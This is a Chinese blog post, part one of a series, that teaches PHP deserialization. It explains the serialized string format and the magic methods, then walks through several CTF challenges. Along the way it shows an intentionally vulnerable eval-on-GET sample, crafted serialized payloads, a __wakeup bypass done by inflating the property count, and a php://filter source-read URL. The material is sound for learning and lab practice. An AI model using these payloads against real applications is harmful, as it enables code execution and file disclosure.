PHP反序列化学习(上)

[CTF]PHP反序列化总结_ctf php反序列化-CSDN博客

php反序列化漏洞(万字详解)-CSDN博客

php面向对象基础

在学习php反序列化的过程中,我觉得如果要学习php反序列化的话,首先要先了解php面向对象基本概念,作为一个小白如果不了解的话,学习php反序列化会很难受,关于学习php面向对象基本概念看到了一篇大佬的博客觉得很好

php反序列化漏洞(万字详解)-CSDN博客

 也可以去B站上看橙子科技工作室的视频,他们讲的都很细,很基础

【PHP反序列化漏洞学习】https://www.bilibili.com/video/BV1R24y1r71C?p=4&vd_source=556229b9b0a7c81a76ee96d16b7c65da

 php序列化和php反序列化

在PHP中,序列化和反序列化是用于将数据结构转换为字符串(序列化)和将字符串转换回数据结构(反序列化)的常见操作,通常用于数据持久化、数据传输等场景。

序列化(Serialization):

在PHP中,使用serialize()函数将一个数据结构(如数组、对象等)转换为字符串。这个字符串可以被存储到文件、数据库或者通过网络传输。序列化后的字符串是以一种特定的格式表示数据结构的,包含了原始数据结构的类型信息和内容。

$data = array('name' => 'John', 'age' => 30);
$serialized_data = serialize($data);
echo $serialized_data;

上面的代码将数组 $data序列化为一个字符串,并输出结果。这个结果类似于:

a:2:{s:4:"name";s:4:"John";s:3:"age";i:30;}

关于这一串序列化后得到的数据,它表示一个包含两个元素的数组。让我们来解释一下它的结构:这串字符串序列化了一个包含两个键值对的数组,其中键为 "name" 和 "age",对应的值分别是 "John" 和 30。

a:2::表示这个数据是一个数组(a),其中包含了两个元素(一个为name,一个为age),数字 2 表示数组中元素的数量。如果数组中元素数量为3,那就是a:3。如果他是一个整数的话,那就是I:2,如果是字符串的话就是S:2。

{}:表示数组的开始和结束。

s:4:"name";:这是数组的第一个元素。s 表示字符串类型,4 表示字符串的长度,name 是字符串的值。

s:4:"John";:表示字符串类型,长度为 4,第一个元素name的值为 "John"。

s:3:"age";:表示字符串类型,长度为 3,值为 "age"。

i:30;:表示整数类型,第二个元素age的值为 30。

反序列化(Unserialization):

反序列化是将序列化后的字符串重新转换为原始的数据结构。反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关。在PHP中,可以使用unserialize()函数来完成这个过程。(反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串)。

$serialized_data = 'a:2:{s:4:"name";s:4:"John";s:3:"age";i:30;}';
$data = unserialize($serialized_data);
print_r($data);

上述代码将序列化后的字符串 $serialized_data反序列化为原始的数组,并打印出来。输出结果为:

Array
(
    [name] => John
    [age] => 30
)

值得注意的是,反序列化时需要注意安全性,尤其是当反序列化来自不可信来源的数据时,可能存在安全风险,因为恶意用户可以利用反序列化漏洞执行恶意代码。因此,在反序列化之前,应该对数据进行验证和过滤,确保安全性。

反序列化漏洞原因:

   反序列化过程中unserialize()函数的参数可以控制,传入特殊的序列化后的字符串可改变对象的属性值,并触发特定函数执行代码;

    //反序列化漏洞简单案例
     
    <?php
    class test
    {
        public $a="haha";
        public function display()
        {
            eval($this->a);
        }
    }
    $cmd=$_GET['cmd'];
    //cmd=O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}
    $d=unserialize($cmd);
    $d->display();
     
    ?>
     
    //如上反序列化的内容是GET方法获得的,是可控的,传入上图注释中的cmd
    //内容,可实现执行php代码:phpinfo();

说简单一点,序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。网上有一个很具体的例子:我们在网上买了一张桌子,为了方便他运输过来,就会把他拆成一块一块的,装在箱子里进行邮寄(这就相当于序列化过程(把数据转化为可以存储或者传输的形式)),当我们拿到快递之后,我们又对它进行安装拼接,最后变成一张桌子(这就相当于反序列化的过程(转化成当初的数据对象))。

PHP反序列化常用魔术函数

在PHP中,反序列化时可以使用魔术方法来执行一些额外的操作或处理。以下是一些常见的魔术方法,在反序列化时会被调用:

__wakeup(): 这个方法在反序列化时会被调用,用于重新初始化对象。可以在这个方法中执行一些必要的操作,例如重新建立数据库连接或者执行一些其他初始化的逻辑。

class MyClass {
    public function __wakeup() {
        // 在反序列化时执行的逻辑
    }
}

__set_state(): 这个方法在通过调用 var_export() 导出一个对象时会被调用,用于返回一个包含对象状态的数组。

class MyClass {
    public static function __set_state($array) {
        $obj = new MyClass();
        // 根据数组中的数据恢复对象状态
        return $obj;
    }
}

__sleep(): 这个方法在序列化对象之前会被调用,用于控制对象序列化时哪些属性会被包含。

class MyClass {
    public function __sleep() {
        return array('property1', 'property2');
    }
}

__destruct(): 虽然不是专门用于反序列化的方法,但在对象被销毁时会被调用。在某些情况下,当对象被反序列化后,可能会需要执行一些清理工作。

class MyClass {
    public function __destruct() {
        // 在对象销毁时执行的清理工作
    }
}

 __clone(): 当对象被克隆时调用。如果在对象的生命周期中有必要进行一些初始化或其他操作,可以使用这个方法。

class MyClass {
    public function __clone() {
        // 在对象被克隆时执行的操作
    }
}

__toString(): 当对象被转换为字符串时调用。虽然不是直接用于序列化和反序列化的方法,但在某些场景下可能会与序列化结合使用。

class MyClass {
    public function __toString() {
        return 'Object of MyClass';
    }
}

 __invoke(): 当尝试将对象作为函数调用时调用。这个方法允许对象表现得像一个可调用的函数。

class MyClass {
    public function __invoke() {
        echo 'Object of MyClass is invoked';
    }
}

 __isset() 和 __unset(): 用于检查属性是否被设置和在属性被 unset 时调用。

class MyClass {
    public function __isset($name) {
        // 检查属性是否被设置
    }

    public function __unset($name) {
        // 当属性被 unset 时调用
    }
}

 

理论很抽象,还是进行实操有用

[SWPUCTF 2021 新生赛]no_wakeup

打开环境,进行代码审计

 题目看着很简单,只需要让admin=admin,然后让passwd=wllm就能得到flag,但是这儿有一个__wakeup()的魔术方法,我们需要绕过__wakeup

关于__wakeup魔术方法

调用条件:当使用unserialize时被调用,可用于做些对象的初始化操作。

__wakeup函数的漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

所以,我们等会只要修改对象属性的个数使他大于真实个数可以绕过了

构造函数:

 <?php
class HaHaHa{
	public $admin='admin';
	public $passwd='wllm';
}
$a =new HaHaHa();
echo serialize($a);

?> 

运行得到 :

 O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

 然后我们构造url:

?p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

 

 喔嚯,忘记绕过__wakeup函数了,我们这儿 O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}中2就是对象个数也是他的真实个数,一个是admin,一个是passwd,我们只需要让其大于2就行了,3,4,5都可以

构造url:

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

 得到flag

[SWPUCTF 2022 新生赛]ez_ez_unserialize 

打开环境,一样进行代码审计

创造类x,定义了一个魔术常量x为_FILE_(当前的文件名),又定义了几个函数,construct函数让x类中的x赋值,wakeup让x重新赋值为_FILE_,destruct函数高亮x常量,如果传参x存在反序列化,否则输出,还给了提示,flag在fllllllag中,和上题一样,需要绕过__wakeup()函数

都没什么用,重点是flag在fllllllag中,直接构造

 <?php
class x{
	public $x='fllllllag.php';
}
$a=new x();
echo serialize($a);

?> 

得到:

 O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

进行绕过

O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag

[SWPUCTF 2021 新生赛]ez_unserialize

打开环境,使用dirsearch扫描一下

 发现了robots.txt文件,访问一下

看到了/cl45s.php,接着访问

 得到源码,进行代码审计

 这儿需要admin=admin,passwd=ctf,满足条件后就会输出flag

构造php

<?php
class wllm{
	public $admin ='admin';
	public $passwd ='ctf';
}
$a =new wllm();
echo serialize($a);
?>

得到

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

构造url得到flag

/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

[ZJCTF 2019]NiZhuanSiWei 

打开环境,进行代码审计

要求我们传入一个txt文件,然后内容为welcome to the zjctf,所以我们可以使用data://写入txt文件

 这儿还涉及到了file_get_content()函数:

 

 还给了提示,有useless.php

 构造url

text=data://text/plain,welcome to the zjctf

接着我们试一试可不可以直接访问useless.php,结果不能

那我们就直接使用file协议读取他的源代码,构造url

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

 然后base64解码一下,得到一串php代码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

我们直接复制构造php进行序列化操作

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$a =new Flag();
echo serialize($a);
?>  

得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

然后我们构造url

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

查看源代码得到flag

[HUBUCTF 2022 新生赛]checkin

打开环境,进行代码审计

进行代码审计,这儿看见了一个函数isset()函数

如果if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password)满足条件我们就会得到flag,但是他也给了提示他修改了username和password的值,那现在我们就不知到他两个的值了

但是我们有isset()函数,我们只要让$data_unserialize['username']=true和data_unserialize['password']=true就满足赏面条件,得到flag了

直接构造php序列化操作

<?php
$a = array(
	'username'=>true,
	'password'=>true
);
echo  serialize($a);

?>

得到

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

构造url 得到flag

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

 

  • 27
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: PHP 反序列化是一种常见的安全漏洞,攻击者可以利用这个漏洞来执行恶意代码或者控制 Web 应用程序。要学习 PHP 反序列化,您可以按照以下步骤进行: 1.了解序列化和反序列化的基本概念。序列化是将对象转换为字符串的过程,反序列化则是将字符串转换为对象的过程。在 PHP 中,可以使用 serialize() 和 unserialize() 函数进行序列化和反序列化。 2.学习 PHP 反序列化的原理和技术。了解攻击者是如何利用反序列化漏洞来执行恶意代码的,以及如何使用一些工具和技术来发现和利用这些漏洞。 3.掌握 PHP 反序列化的实际操作。可以通过创建漏洞靶场或者参加 CTF 活动来进行实践,学习如何编写和利用反序列化漏洞的利用代码。 4.学习防御 PHP 反序列化漏洞的方法。了解一些常见的防御技术和最佳实践,以减少应用程序受到攻击的风险。 在学习 PHP 反序列化时,建议您选择一些优质的在线资源、书籍、博客或者论坛来学习,例如 OWASP 和 PHP 官方文档。此外,也可以加入一些安全社区或者参加一些培训课程,与其他安全从业者交流和学习经验。 ### 回答2: 学习PHP反序列化的过程可以分为以下几个步骤: 1.了解反序列化的概念:了解反序列化是将已经序列化的数据重新转换为原始的数据结构的过程。在PHP中,通过反序列化可以将序列化的对象还原为PHP对象。 2.学习序列化和反序列化的基本语法:了解PHP中的序列化函数`serialize()`和反序列化函数`unserialize()`的基本用法和语法。 3.检查可反序列化的数据源:了解在PHP中可以被反序列化的数据源有哪些,例如字符串、文件等。同时要注意在反序列化时,要确保数据源的可靠性,避免恶意数据的注入。 4.了解PHP对象的序列化和反序列化学习如何将PHP对象序列化为字符串,以及如何将序列化的字符串反序列化PHP对象。要了解序列化和反序列化的规则和约束,以确保数据的完整性和可用性。 5.研究PHP反序列化的安全问题:反序列化在应用中有一定的安全风险,因为恶意的序列化数据可以导致代码执行漏洞。学习安全的反序列化技术,了解如何避免和防范反序列化攻击。 6.通过实际练习提升技能:通过实践,结合自己的开发经验,写一些简单的反序列化代码,并且测试不同的反序列化情况,加深对反序列化的理解和掌握。 7.学习相关的安全工具和技术:掌握一些常用的PHP反序列化漏洞检测工具和安全技术,以提高对反序列化漏洞的识别和修复能力。 总之,学习PHP反序列化需要理解概念、语法和安全问题,并通过实践不断提升自己的技能。通过不断学习和实践,可以掌握PHP反序列化的使用和安全开发技巧。 ### 回答3: PHP反序列化是指将序列化后的数据重新还原成原始的PHP对象或数组的过程。学习PHP反序列化主要需要掌握以下几个步骤: 1. 了解序列化和反序列化的概念:序列化是将PHP对象或数组转换成字符串的过程,而反序列化则是将字符串还原成原始对象或数组的过程。了解这两个概念对于学习PHP反序列化非常重要。 2. 了解PHP的序列化函数:PHP提供了一些序列化函数,如serialize()函数和unserialize()函数。serialize()函数用于将PHP对象或数组转换成字符串,unserialize()函数则用于将字符串还原成原始对象或数组。 3. 学习序列化格式:PHP的序列化格式是特定的,掌握序列化格式对于理解反序列化非常重要。其中,序列化的格式可以通过序列化函数生成的字符串来进行分析,了解其中的规律和特点。 4. 学习反序列化漏洞:了解反序列化漏洞是学习PHP反序列化的重要一环。反序列化漏洞是指恶意用户通过在反序列化时植入恶意代码来实现攻击的一种漏洞。了解反序列化漏洞的原理及如何预防和修复是学习PHP反序列化的关键。 5. 实践练习:通过编写PHP代码来进行反序列化的实践练习是学习的重要环节。可以尝试使用serialize()函数将PHP对象或数组序列化,并使用unserialize()函数将序列化后的字符串反序列化,验证反序列化是否成功。 总之,学习PHP反序列化需要了解序列化和反序列化的概念、掌握PHP的序列化函数、学习序列化格式、了解反序列化漏洞以及进行实践练习。通过不断学习和实践,可以提高对PHP反序列化的理解和应用能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值